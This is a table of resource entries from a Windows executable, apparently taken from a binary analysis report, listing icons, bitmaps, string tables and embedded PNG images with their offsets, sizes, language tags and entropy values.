RT_BITMAP	0x5b2a04	0x290	Device independent bitmap graphic, 14 x 14 x 24, image size 616	English	United States	0.7423780487804879
RT_BITMAP	0x5b2c94	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768	English	United States	0.676980198019802
RT_BITMAP	0x5b2fbc	0x418	Device independent bitmap graphic, 18 x 18 x 24, image size 1008	English	United States	0.6316793893129771
RT_ICON	0x5b33d4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.4654255319148936
RT_ICON	0x5b383c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.36721311475409835
RT_ICON	0x5b41c4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.3044090056285178
RT_ICON	0x5b526c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.22188796680497924
RT_ICON	0x5b7814	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	English	United States	0.18180207841284837
RT_ICON	0x5bba3c	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 3779 x 3779 px/m	English	United States	0.13842758040782005
RT_ICON	0x5c4ee4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m	English	United States	0.11889270081627824
RT_ICON	0x5d570c	0x25228	Device independent bitmap graphic, 192 x 384 x 32, image size 147456, resolution 3779 x 3779 px/m	English	United States	0.1084389628149161
RT_ICON	0x5fa934	0x7408	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9968017775383786
RT_ICON	0x601d3c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.006224066390041493
RT_ICON	0x6042e4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.75
RT_ICON	0x60474c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6127049180327869
RT_ICON	0x6050d4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5419793621013134
RT_ICON	0x60617c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.4469917012448133
RT_ICON	0x608724	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18475975975975975
RT_ICON	0x63939c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8324468085106383
RT_ICON	0x639804	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.7110655737704918
RT_ICON	0x63a18c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6320356472795498
RT_ICON	0x63b234	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.5099585062240664
RT_ICON	0x63d7dc	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.19401901901901902
RT_ICON	0x66e454	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.7890070921985816
RT_ICON	0x66e8bc	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6491803278688525
RT_ICON	0x66f244	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5708255159474672
RT_ICON	0x6702ec	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.4628630705394191
RT_ICON	0x672894	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18743743743743743
RT_ICON	0x6a350c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.825354609929078
RT_ICON	0x6a3974	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6954918032786885
RT_ICON	0x6a42fc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6116322701688556
RT_ICON	0x6a53a4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.49190871369294603
RT_ICON	0x6a794c	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.1906156156156156
RT_ICON	0x6d85c4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8342198581560284
RT_ICON	0x6d8a2c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.7094262295081967
RT_ICON	0x6d93b4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6214821763602252
RT_ICON	0x6da45c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.5063278008298755
RT_ICON	0x6dca04	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.19309309309309308
RT_ICON	0x70d67c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8235815602836879
RT_ICON	0x70dae4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6918032786885245
RT_ICON	0x70e46c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6085834896810507
RT_ICON	0x70f514	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.48941908713692944
RT_ICON	0x711abc	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18941941941941942
RT_ICON	0x742734	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8368794326241135
RT_ICON	0x742b9c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.7061475409836065
RT_ICON	0x743524	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6217166979362101
RT_ICON	0x7445cc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.49647302904564317
RT_ICON	0x746b74	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.19188188188188188
RT_ICON	0x7777ec	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8377659574468085
RT_ICON	0x777c54	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.7086065573770491
RT_ICON	0x7785dc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6303939962476548
RT_ICON	0x779684	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.5087136929460581
RT_ICON	0x77bc2c	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.1940890890890891
RT_ICON	0x7ac8a4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8040780141843972
RT_ICON	0x7acd0c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6795081967213115
RT_ICON	0x7ad694	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5980300187617261
RT_ICON	0x7ae73c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.48018672199170126
RT_ICON	0x7b0ce4	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18922422422422422
RT_ICON	0x7e195c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8351063829787234
RT_ICON	0x7e1dc4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.7168032786885246
RT_ICON	0x7e274c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6315666041275797
RT_ICON	0x7e37f4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.5120331950207468
RT_ICON	0x7e5d9c	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.1948148148148148
RT_ICON	0x816a14	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.825354609929078
RT_ICON	0x816e7c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.7139344262295082
RT_ICON	0x817804	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6308630393996247
RT_ICON	0x8188ac	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.5069502074688796
RT_ICON	0x81ae54	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.19415415415415416
RT_ICON	0x84bacc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.7925531914893617
RT_ICON	0x84bf34	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6557377049180327
RT_ICON	0x84c8bc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5902908067542214
RT_ICON	0x84d964	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.47199170124481327
RT_ICON	0x84ff0c	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18824824824824823
RT_ICON	0x880b84	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.7943262411347518
RT_ICON	0x880fec	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6754098360655738
RT_ICON	0x881974	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5933395872420263
RT_ICON	0x882a1c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.48526970954356846
RT_ICON	0x884fc4	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.1906056056056056
RT_ICON	0x8b5c3c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.7819148936170213
RT_ICON	0x8b60a4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6524590163934426
RT_ICON	0x8b6a2c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5778611632270169
RT_ICON	0x8b7ad4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.46887966804979253
RT_ICON	0x8ba07c	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18706206206206205
RT_ICON	0x8eacf4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8023049645390071
RT_ICON	0x8eb15c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6717213114754098
RT_ICON	0x8ebae4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5942776735459663
RT_ICON	0x8ecb8c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.48018672199170126
RT_ICON	0x8ef134	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18941441441441442
RT_ICON	0x91fdac	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8040780141843972
RT_ICON	0x920214	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6811475409836065
RT_ICON	0x920b9c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.600375234521576
RT_ICON	0x921c44	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.487551867219917
RT_ICON	0x9241ec	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.19159659659659659
RT_ICON	0x954e64	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.7686170212765957
RT_ICON	0x9552cc	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6418032786885246
RT_ICON	0x955c54	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5694183864915572
RT_ICON	0x956cfc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.46307053941908716
RT_ICON	0x9592a4	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18645145145145145
RT_ICON	0x989f1c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8031914893617021
RT_ICON	0x98a384	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6827868852459016
RT_ICON	0x98ad0c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6041275797373359
RT_ICON	0x98bdb4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.4932572614107884
RT_ICON	0x98e35c	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.1923823823823824
RT_ICON	0x9befd4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.7943262411347518
RT_ICON	0x9bf43c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6786885245901639
RT_ICON	0x9bfdc4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.5977954971857411
RT_ICON	0x9c0e6c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.4871369294605809
RT_ICON	0x9c3414	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.19165665665665665
RT_ICON	0x9f408c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	English	United States	0.8909574468085106
RT_ICON	0x9f44f4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 2835 x 2835 px/m	English	United States	0.8127049180327869
RT_ICON	0x9f4e7c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	English	United States	0.7591463414634146
RT_ICON	0x9f5f24	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	English	United States	0.6556016597510373
RT_ICON	0x9f84cc	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 2835 x 2835 px/m	English	United States	0.32155655655655657
RT_ICON	0xa29144	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8218085106382979
RT_ICON	0xa295ac	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.7032786885245902
RT_ICON	0xa29f34	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6285178236397748
RT_ICON	0xa2afdc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.5048755186721992
RT_ICON	0xa2d584	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.19042542542542543
RT_ICON	0xa5e1fc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.8120567375886525
RT_ICON	0xa5e664	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.6926229508196722
RT_ICON	0xa5efec	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.6189024390243902
RT_ICON	0xa60094	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.5003112033195021
RT_ICON	0xa6263c	0x30c78	Device independent bitmap graphic, 220 x 440 x 32, image size 193600, resolution 3779 x 3779 px/m	English	United States	0.18667167167167167
RT_ICON	0xa932b4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	English	United States	0.6179078014184397
RT_ICON	0xa9371c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 2835 x 2835 px/m	English	United States	0.5307377049180327
RT_ICON	0xa940a4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	English	United States	0.4781894934333959
RT_ICON	0xa9514c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	English	United States	0.4145228215767635
RT_ICON	0xa976f4	0x1e404	Device independent bitmap graphic, 173 x 346 x 32, image size 119716, resolution 2835 x 2835 px/m	English	United States	0.14869096426380862
RT_ICON	0xab5af8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.4654255319148936
RT_ICON	0xab5f60	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.36721311475409835
RT_ICON	0xab68e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.3044090056285178
RT_ICON	0xab7990	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.22188796680497924
RT_ICON	0xab9f38	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	English	United States	0.18180207841284837
RT_ICON	0xabe160	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 3779 x 3779 px/m	English	United States	0.13842758040782005
RT_ICON	0xac7608	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m	English	United States	0.11889270081627824
RT_ICON	0xad7e30	0x25228	Device independent bitmap graphic, 192 x 384 x 32, image size 147456, resolution 3779 x 3779 px/m	English	United States	0.1084389628149161
RT_ICON	0xafd058	0x7408	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9968017775383786
RT_ICON	0xb04460	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	English	United States	0.6391843971631206
RT_ICON	0xb048c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 2835 x 2835 px/m	English	United States	0.4971311475409836
RT_ICON	0xb05250	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	English	United States	0.3907129455909944
RT_ICON	0xb062f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	English	United States	0.3009336099585062
RT_ICON	0xb088a0	0x4059	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9962362654039945
RT_ICON	0xb0c8fc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	English	United States	0.6843971631205674
RT_ICON	0xb0cd64	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 2835 x 2835 px/m	English	United States	0.5549180327868852
RT_ICON	0xb0d6ec	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	English	United States	0.4831144465290807
RT_ICON	0xb0e794	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	English	United States	0.3407676348547718
RT_ICON	0xb10d3c	0x46f0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9960352422907489
RT_ICON	0xb1542c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	English	United States	0.6790780141843972
RT_ICON	0xb15894	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 2835 x 2835 px/m	English	United States	0.5270491803278688
RT_ICON	0xb1621c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	English	United States	0.4324577861163227
RT_ICON	0xb172c4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	English	United States	0.32354771784232367
RT_ICON	0xb1986c	0x444f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9969691771029908
RT_ICON	0xb1dcbc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.18439716312056736
RT_ICON	0xb1e124	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.12131147540983607
RT_ICON	0xb1eaac	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.0900562851782364
RT_ICON	0xb1fb54	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.05985477178423237
RT_ICON	0xb220fc	0x6d10	Device independent bitmap graphic, 82 x 164 x 32, image size 26896, resolution 3779 x 3779 px/m	English	United States	0.02768624641833811
RT_ICON	0xb28e0c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.03368794326241135
RT_ICON	0xb29274	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	English	United States	0.019672131147540985
RT_ICON	0xb29bfc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.012195121951219513
RT_ICON	0xb2aca4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.006224066390041493
RT_STRING	0xb2d24c	0x154	data			0.4970588235294118
RT_STRING	0xb2d3a0	0x3cc	data			0.38271604938271603
RT_STRING	0xb2d76c	0x4a8	data			0.3187919463087248
RT_STRING	0xb2dc14	0x45c	data			0.2948028673835125
RT_STRING	0xb2e070	0x3fc	data			0.4107843137254902
RT_STRING	0xb2e46c	0x36c	data			0.3904109589041096
RT_STRING	0xb2e7d8	0x3b0	data			0.3252118644067797
RT_STRING	0xb2eb88	0x2a8	data			0.45588235294117646
RT_STRING	0xb2ee30	0x838	data			0.2984790874524715
RT_STRING	0xb2f668	0xbb4	data			0.22429906542056074
RT_STRING	0xb3021c	0x2ac	data			0.4371345029239766
RT_STRING	0xb304c8	0x44c	data			0.39
RT_STRING	0xb30914	0x480	data			0.3758680555555556
RT_STRING	0xb30d94	0x42c	data			0.34269662921348315
RT_STRING	0xb311c0	0x404	data			0.2918287937743191
RT_STRING	0xb315c4	0x374	data			0.4343891402714932
RT_STRING	0xb31938	0x474	data			0.3929824561403509
RT_STRING	0xb31dac	0xc0	data			0.6041666666666666
RT_STRING	0xb31e6c	0x100	data			0.57421875
RT_STRING	0xb31f6c	0x350	data			0.42452830188679247
RT_STRING	0xb322bc	0x410	data			0.3951923076923077
RT_STRING	0xb326cc	0x40c	data			0.3658301158301158
RT_STRING	0xb32ad8	0x454	data			0.3700361010830325
RT_STRING	0xb32f2c	0x5a0	data			0.25833333333333336
RT_STRING	0xb334cc	0x4f4	data			0.32886435331230285
RT_STRING	0xb339c0	0x2e0	data			0.3029891304347826
RT_STRING	0xb33ca0	0x3dc	data			0.41700404858299595
RT_STRING	0xb3407c	0x450	data			0.36141304347826086
RT_STRING	0xb344cc	0x538	data			0.36976047904191617
RT_STRING	0xb34a04	0x3d8	data			0.35264227642276424
RT_STRING	0xb34ddc	0x424	data			0.3471698113207547
RT_STRING	0xb35200	0x45c	data			0.3888888888888889
RT_STRING	0xb3565c	0x168	data			0.4777777777777778
RT_STRING	0xb357c4	0xec	data			0.538135593220339
RT_STRING	0xb358b0	0x218	data			0.5093283582089553
RT_STRING	0xb35ac8	0x42c	data			0.350187265917603
RT_STRING	0xb35ef4	0x3a4	data			0.3583690987124464
RT_STRING	0xb36298	0x338	data			0.36529126213592233
RT_STRING	0xb365d0	0x318	data			0.3611111111111111
RT_RCDATA	0xb368e8	0xb62	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0037748798901853
RT_RCDATA	0xb3744c	0xd6b	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.003202328966521
RT_RCDATA	0xb381b8	0x14b	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0211480362537764
RT_RCDATA	0xb38304	0x27a	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0173501577287065
RT_RCDATA	0xb38580	0x160	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.03125
RT_RCDATA	0xb386e0	0x2de	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0149863760217983
RT_RCDATA	0xb389c0	0xa19	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.004255319148936
RT_RCDATA	0xb393dc	0xbad	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0036801605888257
RT_RCDATA	0xb39f8c	0xb37	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.003831417624521
RT_RCDATA	0xb3aac4	0xfcc	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0027200791295747
RT_RCDATA	0xb3ba90	0xba2	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.003693754197448
RT_RCDATA	0xb3c634	0xd92	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0031663788140472
RT_RCDATA	0xb3d3c8	0xdf8	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.003076062639821
RT_RCDATA	0xb3e1c0	0x2105	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0013013131432627
RT_RCDATA	0xb402c8	0x10	data			1.5
RT_RCDATA	0xb402d8	0xcfe	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.003307276007216
RT_RCDATA	0xb40fd8	0xf4c	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.002808988764045
RT_RCDATA	0xb41f24	0xa2e	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0042210283960091
RT_RCDATA	0xb42954	0x99e	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.00446791226645
RT_RCDATA	0xb432f4	0xac6	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0039883973894126
